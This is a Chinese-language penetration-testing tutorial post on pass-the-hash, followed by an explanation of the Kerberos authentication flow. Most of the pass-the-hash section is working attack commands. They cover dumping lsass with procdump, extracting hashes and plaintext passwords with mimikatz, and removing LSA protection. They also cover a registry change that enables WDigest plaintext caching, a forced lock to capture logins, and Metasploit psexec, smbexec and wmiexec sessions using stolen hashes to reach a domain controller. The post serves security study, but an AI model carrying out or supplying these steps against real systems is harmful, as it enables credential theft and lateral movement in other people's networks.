天天看点

内网渗透 day20-pth+kerberos

1. pass the hash(pth)

(1) procdump

(2) mimikatz

(3) msf利用pth获取会话

(4) mimikatz pth

(5) kali自带

2. kerderos认证协议

第一:从AS服务器中获取TGT票据

第二:从TGS服务器中获取访问权限

第三:访问服务

pth+kerberos认证

介绍:Pass The Hash是一种黑客技术,攻击者可以使用用户密码的基础NTLM或Lan Manange Hash来对远 程服务器或服务进行身份验证,而不像通常那样需要关联的纯文本密码。它仅通过窃取哈希值并使用其 进行身份验证即可代替窃取纯文本密码的需求。(翻译一下就是用hash进行远程登入,扩大战果)

该攻击利用了身份验证协议中的一个实现缺陷,即每次会话之间的密码散列保持静态,直到下次更改密码为止。

这类攻击适用于:

域/工作组环境

可以获得hash,但是条件不允许对hash爆破

内网中存在和当前机器相同的密码

微软也对pth打过补丁,然而,Craig在测试中发现,在打了补丁之后,常规的Pass The Hash已经无法 成功,唯独默认的 Administrator (SID 500)账号例外,利用这个账号仍可以进行Pass The Hash远程连接。

如果禁用了ntlm认证,psexec无法利用获得的ntlm hash进行远程连接,但是使用mimi还是可以攻击成功的

补丁编号kb2871997

Procdump+Mimikatz 读取hash

前提:有管理员权限或者说提权成功了

介绍:存储lsass.exe中的密码

下载网址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

操作

内网渗透 day20-pth+kerberos

C:\Users\yangming\Desktop\Procdump>procdump -acceptela -ma lsass.exe lsass.dmp

-accepteula 使用-Accepteula命令行选项自动接受这些内部授权协议。

-ma 写一个“完整”转储文件。包括所有映像、映射和私有内存。

介绍:从内存中提取纯文本密码,哈希,PIN码和kerberos票证是众所周知的mimikatz也可以进行 传递的哈希值,传递的票,打造金券,用证书或私钥,跳马发挥,... 也许做咖啡?

下载网址:https://github.com/gentilkiwi/mimikatz

1、以管理员的身份运行mimikatz

2、输入一条 log 会生成日志信息读取的密码会保存在里面

内网渗透 day20-pth+kerberos

3、查看帮助信息:: ,相当于help

内网渗透 day20-pth+kerberos

4、切换到LSASS minidump环境

内网渗透 day20-pth+kerberos

sekurlsa::minidump lsass.dmp

sekurlsa 枚举凭据的一些命令

minidump 切换(或重新设置)到LSASS minidump环境

5、列出所有可用的提供程序凭据

内网渗透 day20-pth+kerberos

sekurlsa::logonpasswords full

logonpasswords 列出所有可用的提供程序凭据。

6、不通过dump文件直接利用msv获取ntlm和lm的凭据信息

privilege::debug 特权提升

内网渗透 day20-pth+kerberos

sekurlsa::msv 获取ntlm和lm的凭据信息

内网渗透 day20-pth+kerberos

7、一句话调用mimikatz

内网渗透 day20-pth+kerberos
mimikatz.exe "privilege::debug" "sekurlsa::msv" exit

前提:msf已经反弹会话并且成功提权

1、将mimikatz.log下载到本地

内网渗透 day20-pth+kerberos

2、搜索psexec相关脚本

内网渗透 day20-pth+kerberos

3、选择exploit/windows/smb/psexec

内网渗透 day20-pth+kerberos

4、查看参数

内网渗透 day20-pth+kerberos

5、设置相关参数

这里设置SMBpass的时候格式是LM HASH:NTLM HASH,lm和ntlm在mimikatz.log文件中直接复制粘贴

内网渗透 day20-pth+kerberos

6、成功反弹会话

内网渗透 day20-pth+kerberos

如果在win 10里:

win 10需要绕过LSA PROTECTION限制:

privilege::debug

!+

!processprotect /process:lsass.exe /remove

在进行pth。

内网渗透 day20-pth+kerberos

sekurlsa::pth /user:administrator /ntlm:xxxx /domain:xxxx

内网渗透 day20-pth+kerberos

dir \\IP\C$ 访问DC(域控)的C盘资源

内网渗透 day20-pth+kerberos
内网渗透 day20-pth+kerberos

copy \\IP\C$\ c:\xxx 下载DC中的资源

内网渗透 day20-pth+kerberos

win server >= 2012 无法抓取明文密码:

修改注册表:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /vUseLogonCredential /t REG_DWORD /d 1 /f

强制锁屏让管理员重登入后才可以抓到明文密码:

rundll32 user32.dll,LockWorkStation

smbexec.py:smbexec.py -hashes NTLM HASH:LM HASH ZJW.com/[email protected]

(这东西会被自带的windows defender(我用的是windows server 2019)拦截)

内网渗透 day20-pth+kerberos

wmiexec.py: wmiexec.py -hashes LM:NTLM test.com/[email protected]

内网渗透 day20-pth+kerberos

介绍:Kerberos 是一种网络认证协议,其设计目标是通过密钥系统为客户机 / 服务器应用程序提供强大的认 证服务。

该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主 机的物理安全并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下,Kerberos 作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。

Kerberos和NTLM有什么区别?

– 在Kerberos之前,Microsoft使用一种称为NTLM的身份验证技术。NTLM代表NT Lan Manager, 是一种质询响应身份验证协议。目标计算机或域控制器会询问并检查密码,并存储密码哈希以供 继续使用。

– 这两个系统之间的最大区别是第三方验证和Kerberos中更强大的加密功能。该过程中的这一额 外步骤为NTLM提供了重要的额外安全层。

内网渗透 day20-pth+kerberos

AS(Authentication Server)= 认证服务器

KDC(Key Distribution Center)= 密钥分发中心

TGT(Ticket Granting Ticket)= 票据授权票据,票据的票据

TGS(Ticket Granting Server)= 票据授权服务器

SS(Service Server)= 特定服务提供端

具体的Kerberos认证流程:

用户在客户端输入账号和密码之后,会对密码进行hash处理,作为user-secret-key

1.客户端将用户名发送给AS服务器申请服务,在AS服务器中会对用户名进行验证,在AS服务器本地数

据库中查询到该用户名的密码,并使用hash生成user-secrect-key.

2.AS服务器向用户发送两样东西:

1)Client/TGS会话密钥,使用user-secrect-key进行加密

2)TGT,包含TGS会话密钥,用户信息,时间戳,TGT有效期。使用TGS密钥进行加密

3.用户接收到消息之后,回使用本地的user-secret-key对消息1)进行解密,如果解密成功,说明用户提供的凭证是正确的,此时用户得到了加密后的TGT。

1. 客户端向TGS服务器发送信息:

1) 第一步骤中的TGT

2) 认证信息(认证符(Authenticator)),包含用户id以及时间戳,通过TGS会话密钥进行加密。

2. TGS服务器收到消息之后,会使用TGS密钥对消息1)进行解密,获取到TGS会话密钥,进而对消息2)进行解密,在对用户id以及时间戳进行认证,如果认证成功,向客户端发送消息:

1)client-server-ticket(包含SS会话密钥,用户名信息以及时间戳),使用ss密钥进行加密

2) ss会话密钥使用TGS会话密钥进行加密

3. 客户端收到信息之后会对消息2)进行解密,获得ss会话密钥。

1. 客户端向ss服务器发送以下消息:

1)第二步骤中的client-server-ticket

2)新的Authenticator,包含用户信息,时间戳。通过SS会话密钥进行加密

2. SS服务器收到消息之后,会使用ss密钥对消息1)进行解密,解密之后使用ss会话密钥对消息2)解

密,解密成功之后会得到authenticator,认证之后,发送:

1)新时间戳,Client发送的时间戳加1,通过ss会话密钥进行加密

3. 客户端收到时间戳之后,解密确认,成功之后发送服务请求

4. ss服务器收到之后提供服务。

内网渗透 day20-pth+kerberos
内网渗透 day20-pth+kerberos